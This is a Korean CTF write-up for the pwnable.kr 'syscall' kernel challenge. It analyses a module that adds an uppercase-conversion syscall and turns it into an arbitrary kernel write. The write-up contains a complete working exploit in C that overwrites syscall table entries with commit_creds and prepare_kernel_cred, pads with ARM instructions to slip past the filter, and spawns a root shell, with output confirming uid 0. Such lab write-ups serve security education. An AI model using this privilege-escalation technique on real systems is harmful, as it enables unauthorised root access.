본문으로 바로가기

Kernel (7) - Syscall overwrite ( pwnable.kr rookiss syscall write-up )

Contents

  • Analysis

  • Attack cenario

  • Exploit

  • Shell

  • Reference


Analysis

// adding a new system call : sys_upper

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <asm/unistd.h>
#include <asm/page.h>
#include <linux/syscalls.h>

#define SYS_CALL_TABLE 0x8000e348 // manually configure this address!!
#define NR_SYS_UNUSED 223

//Pointers to re-mapped writable pages
unsigned int** sct;

asmlinkage long sys_upper(char *in, char* out){
int len = strlen(in);
int i;


for(i=0; i<len; i++){
        if(in[i]>=0x61 && in[i]<=0x7a){
            out[i] = in[i] - 0x20;
        }
        else{
            out[i] = in[i];
        }
    }
return 0;
}

static int __init initmodule(void){
sct = (unsigned int**)SYS_CALL_TABLE;
sct[NR_SYS_UNUSED] = sys_upper;
printk("sys_upper(number : 223) is added\n");
return 0;
}

static void __exit exitmodule(void){
return;
}

module_init( initmodule );
module_exit( exitmodule );

문제의 주석부분에도 나와있듯이 해당 커널 모듈은 223syscallsys_upper로 추가시킨다.


위 사진은 32bit linux syscall table이다.

보면 222,223syscallnot implemented되어있음을 알 수 있다.

이렇게 빈 syscallsys_upper를 추가시켰음을 알 수 있다.


asmlinkage long sys_upper(char *in, char* out){
int len = strlen(in);
int i;
for(i=0; i<len; i++){
if(in[i]>=0x61 && in[i]<=0x7a){
out[i] = in[i] - 0x20;
}
else{
out[i] = in[i];
}
}
return 0;
}

sys_upper함수이다.

ASCII범위중 0x61 ~ 0x7a사이의 문자들을 0x20만큼 빼주는 것을 볼 수 있다.

보면 0x61 == a 이고, 0x7a == z이다.

그리고 이 범위에서 -0x20을 뺀 0x41 ~ 0x5aA ~ Z이다.

즉, 소문자를 전부 대문자로 바꿔주는 프로그램이다.


하지만 여기서 한가지 문제가 존재한다.

바로 else문에서 out[i] = in[i];로 바로 대입을 해준다는 것이다.

따라서 AAW가 발생한다. 원하는 곳에 원하는 값을 쓸 수 있는것이다.

이게 커널이 아니고 정말 평범한 CTF문제였다고 생각해보자.

그냥 outGOT하나 박고 in으로 원하는 함수를 넣으면 될것이다.


하지만 커널이므로 우리는 다른 방법을 생각해야 한다.


Attack scenario

일단 우리는 플래그를 읽기위해 결론적으로 root권한을 획득하여야 한다.

앞에서 계속 작성했던 글처럼 commit_creds(prepare_kernel_cred(0));를 호출하고, system("/bin/sh")를 해서 쉘을 획득해야 한다.

그래서 해당 함수를 호출시킬 방법을 곰곰히 생각을 해보아야 한다!


마침 AAW도 가능하고 문제의 커널 모듈에서 syscall table을 제공해주므로 syscall table을 변조하여 원하는 함수를 실행시킬 수 있게 할 수 있다.

일단 모듈이 잘 올라왔는지 부터 확인해보자.

rtc-pl031 mb:rtc: setting system clock to 2019-10-23 03:38:05 UTC (1571801885)
ALSA device list:
 #0: ARM AC'97 Interface PL041 rev0 at 0x10004000, irq 43
input: ImExPS/2 Generic Explorer Mouse as /devices/mb:kmi1/serio1/input/input1
RAMDISK: ext2 filesystem found at block 0
RAMDISK: Loading 49152KiB [1 disk] into ram disk... done.
VFS: Mounted root (ext2 filesystem) on device 1:0.
m: module license 'unspecified' taints kernel.
Disabling lock debugging due to kernel taint
sys_upper(number : 223) is added

sys_upper(number : 223) is added라는 디버깅 메시지를 보아 제대로 모듈이 등록됨을 알 수 있다.

그리고 익스플로잇을 위해 commit_creds(prepare_kernel_cred(0));함수의 주소를 알아야 하는데, 이는 /proc/kallsyms에서 알 수 있다.

이 디렉토리는 커널의 심볼이 저장되는 디렉토리라, 모든 심볼을 알 수 있다.

거기다 ssh 연결을 해서 익스플로잇을 해야 하기때문에 더 확실하다.


/ $ cat /proc/kallsyms | grep "commit_creds"
8003f56c T commit_creds
8044548c r __ksymtab_commit_creds
8044ffc8 r __kstrtab_commit_creds
/ $ cat /proc/kallsyms | grep "prepare_kernel_cred"
8003f924 T prepare_kernel_cred
80447f34 r __ksymtab_prepare_kernel_cred
8044ff8c r __kstrtab_prepare_kernel_cred

8003f56c T commit_creds 이고, 8003f924 T prepare_kernel_cred이다!

하지만 소문자 범위 내의 아스키코드는 다 -0x20씩 빼준다.

따라서 commit_creds0x6c부분은 0x4c가 되버린다.

그래서 0x6c부분을 0x60으로 만들어준다.

요러면 가젯이 망가져버린다.


그래서 0x6c부분을 0x60으로 만들어준다. 그리고 commit_creds address - 0xc = 0x8003f560의 주소부터 12bytesNOP으로 덮는다.

그러면 0x8003f560를 만나는 순간 NOP을 타면서 commit_creds address로 뛸것이다.

이런 방법으로 조건을 우회하고 뛰면 된다.

진짜 마지막으로 최종 고비가 있다.


/ $ uname -a
Linux (none) 3.11.4 #13 SMP Fri Jul 11 00:48:31 PDT 2014 armv7l GNU/Linux

arm아키텍쳐이다.

근데 arm에서 NOP"\x00"이다. 즉, NOP sled를 못만든다.

그래서 적당히 mov r1, r1같은 가젯들을 열심히 찾아서 패딩을 넣으면 된다.


ARM converter에 돌려봤는데 "\x01\x10\xa0\xe1"로 나온다. 소문자 범위 내에도 없고 맘편하게 패딩 할 수 있을 것 같다!


Exploit

덮을 syscall을 찾을때에는, commit_credprepare_kernel_cred의 인자가 각각 한개씩 이므로, syscall중 인자가 한개인 함수를 찾으면 된다.

앞쪽 보니까 exit있어서 덮으려고 했는데 무서워서 못했고 unlink, chdir을 골랐다.

그리고 익스를 성공했는데, root쉘이 떨어지기는 하는데 chdir때문인지 cd ..한방 때리면 고냥 커널 패닉이 떠버리길래 chdir말고 time을 사용해서 다시 익스를 짰다.


#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>

#define SYS_CALL_TABLE 0x8000e348
#define SYS_upper 223

int main(void)
{
    unsigned int** sct = (unsigned int**)SYS_CALL_TABLE;

    int commit_creds = 0x8003f56c;
    int prepare_kernel_cred = 0x8003f924;

    syscall(SYS_upper, "\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1", commit_creds - 12); // MOV R1, R1 pading
    syscall(SYS_upper, "\x60\xf5\x03\x80", &sct[10]); // unlink = commit_creds
    syscall(SYS_upper, "\x24\xf9\x03\x80", &sct[13]); // time = prepare_kernel_cred

    syscall(10,syscall(13,0)); // commit_creds(prepare_kernel_cred(0));
    ​
    system("/bin/sh"); // get root shell
}

Attack scenario 그대로 익스코드를 작성했다.


Shell

/tmp $ gcc -o ex ex.c 
/tmp $ id
uid=1000 gid=1000 groups=1000
/tmp $ ./ex
/bin/sh: can't access tty; job control turned off
/tmp # id
uid=0 gid=0

오우야 오우야


Reference